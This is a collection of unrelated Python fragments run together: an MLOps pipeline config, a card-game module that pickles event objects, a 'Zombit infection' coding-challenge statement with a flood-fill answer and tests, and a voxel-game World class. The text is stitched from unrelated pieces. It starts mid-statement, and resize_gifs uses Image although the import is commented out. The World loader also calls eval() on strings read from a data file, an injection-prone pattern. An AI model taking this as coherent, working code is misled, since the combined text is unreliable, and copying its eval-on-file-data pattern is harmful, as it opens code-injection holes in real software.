            AWS,
            EVIDENTLY,
            KUBEFLOW,
            KUBERNETES,
            MLFLOW,
            SKLEARN,
            SLACK,
        ],
    )
)

DEFAULT_PIPELINE_EXTRAS = dict(notify_on_success=False, notify_on_failure=True)

class MetaConfig(BaseConfig):
    pipeline_name_training = "e2e_use_case_training"
    pipeline_name_batch_inference = "e2e_use_case_batch_inference"
    mlflow_model_name = "e2e_use_case_model"
    target_env = ModelVersionStage.STAGING

    ### ADD YOUR OWN CODE HERE - THIS IS JUST AN EXAMPLE ###
    # This set contains all the models that you want to evaluate
    # during hyperparameter tuning stage.
    model_search_space = {
        ModelMetadata(
            RandomForestClassifier,
            search_grid=dict(
                criterion=["gini", "entropy"],
                max_depth=[2, 4, 6, 8, 10, 12],
                min_samples_leaf=range(1, 10),
                n_estimators=range(50, 500, 25),
            ),
        ),
        ModelMetadata(
            DecisionTreeClassifier,
            search_grid=dict(
                criterion=["gini", "entropy"],
                max_depth=[2, 4, 6, 8, 10, 12],
                min_samples_leaf=range(1, 10),
            ),
        ),
    }


"""
This module is responsible for the creation of all required image resources.

DISCUSSION MIGU: let's use the Python Pillow framework instead. It works with *.png files => no ugly dithering artifacts!
"""

import cards.cardsmodel
import events
import pickle
import resources.paths
#from PIL import Image
import os

from resources import paths

def resize_gifs():
    path_list = os.listdir(paths.PATH_CARD_IMAGES)
    for path in path_list:
        img_in = Image.open(paths.PATH_CARD_IMAGES + path)
        img_size_x = img_in.size[0]
        img_size_y = img_in.size[1]
        fac = 0.5
        img_size_x *= fac
        img_size_y *= fac
        img_in = img_in.resize((int(img_size_x), int(img_size_y)), Image.ANTIALIAS)
        img_out_path = paths.PATH_CARD_IMAGES_SMALL + path
        img_in.save(img_out_path)

# fügt den String als letzte Zeile des Files hinzu
def add_line_to_countries():
    for file in os.listdir(paths.PATH_COUNTRIES):
        if file.endswith(".txt"):
            with open(paths.PATH_COUNTRIES+file, 'a') as mile:
                mile.write('\n'+'times_clicked=0')

    print('done')

def create_dictionary():
    keys = []
    values = []
    for card in cards.cardsmodel.early_card_list: # befüllen der keys mit card namen und values None
        keys.append(card.name)
        values.append(None)

    for card in cards.cardsmodel.mid_card_list: # befüllen der keys mit card namen und values None
        keys.append(card.name)
        values.append(None)

    event_dic = dict(zip(keys, values))
    event_dic['Five Year Plan'] = events.FiveYearPlan()
    event_dic['Duck and Cover'] = events.DuckAndCover()
    event_dic['Marshall Plan'] = events.MarshallPlan()
    event_dic['Captured Nazi Scientist'] = events.CapturedNaziScientist()
    event_dic['Fidel'] = events.Fidel()
    event_dic['Socialist Governments'] = events.SocialistGovernments()
    event_dic['Blockade'] = events.Blockade()
    event_dic['Romanian Abdication'] = events.RomanianAbdication()
    #event_dic['Vietnam Revolts'] = events.SocialistGovernments()
    event_dic['Comecon'] = events.Comecon()
    event_dic['Independent Reds'] = events.IndependentReds()
    event_dic['Truman Doctrine'] = events.TrumanDoctrine()
    event_dic['Korean War'] = events.KoreanWar()
    event_dic['Allende'] = events.Allende()
    event_dic['Colonial Rear Guards'] = events.ColonialRearGuards()
    event_dic['South African Unrest'] = events.SouthAfricaUnrest()
    event_dic['Portuguese Empire Crumbles'] = events.PortugueseEmpireCrumbles()

    event_dic['Alliance for Progress'] = events.AllianceForProgress()
    event_dic['John Paul II Elected Pope'] = events.JohnPaul2ElectedPope()
    event_dic['Liberation Theology'] = events.LiberationTheology()
    event_dic['OAS Founded'] = events.OASFounded()
    event_dic['Panama Canal Returned'] = events.PanamaCanalReturned()
    event_dic['Puppet Governments'] = events.PuppetGovernments()
    event_dic['Sadat Expels Soviets'] = events.SadatExpelsSoviets()
    event_dic['The Voice of America'] = events.TheVoiceOfAmerica()

    print (event_dic)
    with open(resources.paths.PATH_EVENT_DICTIONARY, 'wb') as f: # speichern des fertigen dictionaries
        pickle.dump(event_dic, f, protocol=2)
    print('saved dictionary')


"""
Zombit infection
================

Dr. Boolean continues to perform diabolical studies on your fellow rabbit kin, and not all of it is taking place in the
lab.
Reports say the mad doctor has his eye on infecting a rabbit in a local village with a virus that transforms rabbits
into zombits (zombie-rabbits)!

Professor Boolean is confident in the virus's ability to spread, and he will only infect a single rabbit. Unfortunately,
you and your fellow resistance agents have no idea which rabbit will be targeted. You've been asked to predict how the
infection would spread if uncontained, so you decide to create a simulation experiment. In this simulation, the rabbit
that Dr. Boolean will initially infect will be called "Patient Z".

So far, the lab experts have discovered that all rabbits contain a property they call "Resistance", which is capable of
fighting against the infection. The virus has a particular "Strength" which Dr. Boolean needs to make at least as large
as the rabbits' Resistance for it to infect them.

You will be provided with the following information:
population = A 2D non-empty array of positive integers of the form population[y][x], that is, row then column. (The
dimensions of the array are not necessarily equal.) Each cell contains one rabbit, and the value of the cell represents
that rabbit's Resistance.
x = The X-Coordinate (column) of "Patient Z" in the population array.
y = The Y-Coordinate (row) of "Patient Z" in the population array.
strength = A constant integer value representing the Strength of the virus.

Here are the rules of the simulation: First, the virus will attempt to infect Patient Z. Patient Z will only be infected
if the infection's Strength equals or exceeds Patient Z's Resistance. From then on, any infected rabbits will attempt to
infect any uninfected neighbors (cells that are directly - not diagonally - adjacent in the array). They will succeed in
infecting any neighbors with a Resistance lower than or equal to the infection's Strength. This will continue until no
further infections are possible (i.e., every uninfected rabbit adjacent to an infected rabbit has a Resistance greater
than the infection's Strength.)

You will write a function answer(population, x, y, strength), which outputs a copy of the input array representing the
state of the population at the end of the simulation, in which any infected cells value has been replaced with -1.
The Strength and Resistance values will be between 0 and 10000. The population grid will be at least 1x1 and no larger
than 25x25. The x and y values will be valid indices in the population arrays, with numbering beginning from 0.

Languages
=========

To provide a Python solution, edit solution.py
To provide a Java solution, edit solution.java

Test cases
==========

Inputs:
    (int) population = [[1, 2, 3], [2, 3, 4], [3, 2, 1]]
    (int) x = 0
    (int) y = 0
    (int) strength = 2
Output:
    (int) [[-1, -1, 3], [-1, 3, 4], [3, 2, 1]]

Inputs:
    (int) population = [[6, 7, 2, 7, 6], [6, 3, 1, 4, 7], [0, 2, 4, 1, 10], [8, 1, 1, 4, 9], [8, 7, 4, 9, 9]]
    (int) x = 2
    (int) y = 1
    (int) strength = 5
Output:
    (int) [[6, 7, -1, 7, 6], [6, -1, -1, -1, 7], [-1, -1, -1, -1, 10], [8, -1, -1, -1, 9], [8, 7, -1, 9, 9]]

"""

import zombit_infection_tests as t

def answer(population, column, row, strength):
    if column < 0 or row < 0 \
            or not len(population) or not len(population[0]) \
            or column >= len(population[0]) \
            or row >= len(population):
        return population
    elif population[row][column] > strength or population[row][column] == -1:
        return population
    else:
        population[row][column] = -1
        answer(population, column, row - 1, strength)     # up
        answer(population, column + 1, row, strength)     # right
        answer(population, column - 1, row, strength)     # left
        answer(population, column, row + 1, strength)     # down
    return population

def test():
    data = [t.test_one, t.test_two, t.test_three, t.test_four, t.test_five,t.test_six,t.test_seven,t.test_eight]
    for d in reversed(data):
        p, x, y, strength, result = d()
        r = answer(p,x,y,strength)
        print(result == r)

test()


import math
import random

import save
import chunk

import block_type
import texture_manager

# import custom block models

import models

class World:
	def __init__(self):
		self.texture_manager = texture_manager.Texture_manager(16, 16, 256)
		self.block_types = [None]

		# parse block type data file

		blocks_data_file = open("data/blocks.mcpy")
		blocks_data = blocks_data_file.readlines()
		blocks_data_file.close()

		for block in blocks_data:
			if block[0] in ['\n', '#']: # skip if empty line or comment
				continue

			number, props = block.split(':', 1)
			number = int(number)

			# default block

			name = "Unknown"
			model = models.cube
			texture = {"all": "unknown"}

			# read properties

			for prop in props.split(','):
				prop = prop.strip()
				prop = list(filter(None, prop.split(' ', 1)))

				if prop[0] == "sameas":
					sameas_number = int(prop[1])

					name = self.block_types[sameas_number].name
					texture = self.block_types[sameas_number].block_face_textures
					model = self.block_types[sameas_number].model

				elif prop[0] == "name":
					name = eval(prop[1])

				elif prop[0][:7] == "texture":
					_, side = prop[0].split('.')
					texture[side] = prop[1].strip()

				elif prop[0] == "model":
					model = eval(prop[1])

			# add block type

			_block_type = block_type.Block_type(self.texture_manager, name, texture, model)

			if number < len(self.block_types):
				self.block_types[number] = _block_type

			else:
				self.block_types.append(_block_type)

		self.texture_manager.generate_mipmaps()

		# load the world

		self.save = save.Save(self)

		self.chunks = {}
		self.save.load()

		for chunk_position in self.chunks:
			self.chunks[chunk_position].update_subchunk_meshes()
			self.chunks[chunk_position].update_mesh()

	def get_chunk_position(self, position):
		x, y, z = position

		return (
			math.floor(x / chunk.CHUNK_WIDTH),
			math.floor(y / chunk.CHUNK_HEIGHT),
			math.floor(z / chunk.CHUNK_LENGTH))

	def get_local_position(self, position):
		x, y, z = position

		return (
			int(x % chunk.CHUNK_WIDTH),
			int(y % chunk.CHUNK_HEIGHT),
			int(z % chunk.CHUNK_LENGTH))

	def get_block_number(self, position):
		x, y, z = position
		chunk_position = self.get_chunk_position(position)

		if not chunk_position in self.chunks:
			return 0

		lx, ly, lz = self.get_local_position(position)

		block_number = self.chunks[chunk_position].blocks[lx][ly][lz]
		return block_number

	def is_opaque_block(self, position):
		# get block type and check if it's opaque or not
		# air counts as a transparent block, so test for that too

		block_type = self.block_types[self.get_block_number(position)]

		if not block_type:
			return False

		return not block_type.transparent

	def set_block(self, position, number): # set number to 0 (air) to remove block
		x, y, z = position
		chunk_position = self.get_chunk_position(position)

		if not chunk_position in self.chunks: # if no chunks exist at this position, create a new one
			if number == 0:
				return # no point in creating a whole new chunk if we're not gonna be adding anything

			self.chunks[chunk_position] = chunk.Chunk(self, chunk_position)

		if self.get_block_number(position) == number: # no point updating mesh if the block is the same
			return

		lx, ly, lz = self.get_local_position(position)

		self.chunks[chunk_position].blocks[lx][ly][lz] = number
		self.chunks[chunk_position].modified = True

		self.chunks[chunk_position].update_at_position((x, y, z))
		self.chunks[chunk_position].update_mesh()

		cx, cy, cz = chunk_position

		def try_update_chunk_at_position(chunk_position, position):
			if chunk_position in self.chunks:
				self.chunks[chunk_position].update_at_position(position)
				self.chunks[chunk_position].update_mesh()

		if lx == chunk.CHUNK_WIDTH - 1: try_update_chunk_at_position((cx + 1, cy, cz), (x + 1, y, z))
		if lx == 0: try_update_chunk_at_position((cx - 1, cy, cz), (x - 1, y, z))

		if ly == chunk.CHUNK_HEIGHT - 1: try_update_chunk_at_position((cx, cy + 1, cz), (x, y + 1, z))
		if ly == 0: try_update_chunk_at_position((cx, cy - 1, cz), (x, y - 1, z))

		if lz == chunk.CHUNK_LENGTH - 1: try_update_chunk_at_position((cx, cy, cz + 1), (x, y, z + 1))
		if lz == 0: try_update_chunk_at_position((cx, cy, cz - 1), (x, y, z - 1))

	def draw(self):
		for chunk_position in self.chunks:
			self.chunks[chunk_position].draw()